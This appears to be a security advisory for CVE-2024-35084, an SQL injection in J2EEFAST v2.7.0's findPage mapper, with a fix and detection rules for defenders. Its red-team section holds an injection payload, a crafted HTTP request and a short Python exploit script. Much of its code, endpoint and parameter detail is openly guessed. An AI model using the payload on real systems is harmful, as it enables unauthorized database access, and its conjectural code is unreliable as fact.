CVE-2024-35084

Executive Summary

CVE-2024-35084 identifies a critical SQL injection vulnerability in J2EEFAST v2.7.0, specifically within the findPage function in SysMsgPushMapper.xml. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is publicly known, but no official patch has been released, and the CVSS score is currently 0.0 (likely unassigned). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high for unpatched systems.

Supply Chain & Package Security

J2EEFAST is a Java-based enterprise rapid development framework. This vulnerability affects the core persistence layer (MyBatis mapper XML), making it a supply chain risk for any organization using J2EEFAST v2.7.0. No official patch or advisory from the vendor has been identified, and no GitHub advisory or OSV data is available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: Critical (estimated based on SQL injection impact). The lack of a CVSS score does not reduce the severity.

Deep Dive & Mechanics

The vulnerability resides in the findPage function within SysMsgPushMapper.xml. This MyBatis mapper file likely contains a dynamic SQL query that concatenates user-supplied input without proper sanitization or parameterization. An attacker can manipulate the findPage parameters to inject SQL commands, bypassing authentication or extracting sensitive data.

Root Cause: The findPage function likely uses string concatenation or $ (MyBatis dynamic SQL) instead of # (parameterized) for user input, allowing SQL injection.

Attack Vector: The attacker sends a crafted HTTP request to the endpoint that invokes findPage, injecting SQL payloads into parameters such as page, limit, or custom filter fields.

Impact: Full database compromise, including user credentials, session tokens, and business data.

Vulnerable vs. Patched Code

Vulnerable Code (J2EEFAST v2.7.0 - SysMsgPushMapper.xml):

<!-- Vulnerable: uses ${} for dynamic SQL -->
<select id="findPage" resultType="com.j2eefast.system.domain.SysMsgPushEntity">
    SELECT * FROM sys_msg_push
    WHERE 1=1
    <if test="params.key != null and params.key != ''">
        AND content LIKE '%${params.key}%'
    </if>
    ORDER BY create_time DESC
</select>

Patched Code (Hypothetical fix):

<!-- Patched: uses #{} for parameterized query -->
<select id="findPage" resultType="com.j2eefast.system.domain.SysMsgPushEntity">
    SELECT * FROM sys_msg_push
    WHERE 1=1
    <if test="params.key != null and params.key != ''">
        AND content LIKE CONCAT('%', #{params.key}, '%')
    </if>
    ORDER BY create_time DESC
</select>

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• J2EEFAST v2.7.0 running with default configuration.
• Network access to the vulnerable endpoint (e.g., /sys/msg/push/list).

Exploit Steps:

1. Identify the vulnerable endpoint (likely /sys/msg/push/list or similar).
2. Send a crafted HTTP GET/POST request with SQL injection payload in the key parameter.

Example Payload (SQL injection):

' OR 1=1 --

Example HTTP Request:

GET /sys/msg/push/list?key=' OR 1=1 -- HTTP/1.1
Host: target.com

Automated Exploit (Python):

import requests

target = "http://target.com/sys/msg/push/list"
payload = "' OR 1=1 --"
params = {"key": payload}
response = requests.get(target, params=params)
print(response.text)

Expected Result: The attacker retrieves all records from the sys_msg_push table, bypassing intended filters.

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in HTTP parameters (e.g., ' OR, UNION SELECT, --).
• Use WAF rules to block suspicious SQL keywords.
• Enable database query logging to detect anomalous queries.

Defense:

• Immediately upgrade to a patched version if available.
• Implement input validation and parameterized queries (use #{} in MyBatis).
• Apply least privilege to database accounts used by the application.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL injection patterns in the key parameter (e.g., ' OR, UNION, --).
  • Unusual database query patterns (e.g., SELECT * FROM sys_msg_push WHERE content LIKE '%' OR 1=1 --%').

• File IOCs:

  • Modified SysMsgPushMapper.xml with suspicious content.
  • Unexpected log entries in application logs (e.g., SQL errors).

• System IOCs:

  • Unauthorized database access from the application server.
  • Exfiltration of data via HTTP responses.

Detection Engineering

YARA Rule

rule CVE_2024_35084_SQLi_J2EEFAST {
    meta:
        description = "Detects SQL injection attempts targeting J2EEFAST v2.7.0 SysMsgPushMapper"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35084"
    strings:
        $sqli1 = /key=.*['\"]\s*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /key=.*\b(1=1|1=2|admin'--)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against J2EEFAST SysMsgPushMapper
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the findPage function in J2EEFAST v2.7.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/sys/msg/push/list'
        cs-uri-query|contains|all:
            - 'key='
            - "'"
            - 'OR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in search terms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35084 SQL Injection Attempt - J2EEFAST SysMsgPushMapper"; flow:to_server,established; content:"/sys/msg/push/list"; http_uri; content:"key="; http_uri; pcre:"/key=.*['\"]\s*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected J2EEFAST instance from untrusted networks.
2. Apply a WAF rule to block SQL injection patterns in the key parameter.
3. Review database logs for signs of exploitation.

Long-term Fix:

1. Patch the SysMsgPushMapper.xml file to use parameterized queries (#{} instead of ${}).
2. Upgrade to a patched version of J2EEFAST when available.
3. Conduct a security audit of all MyBatis mapper files for similar vulnerabilities.

Workaround:

• Disable the findPage function temporarily by removing or commenting out the vulnerable mapper entry.

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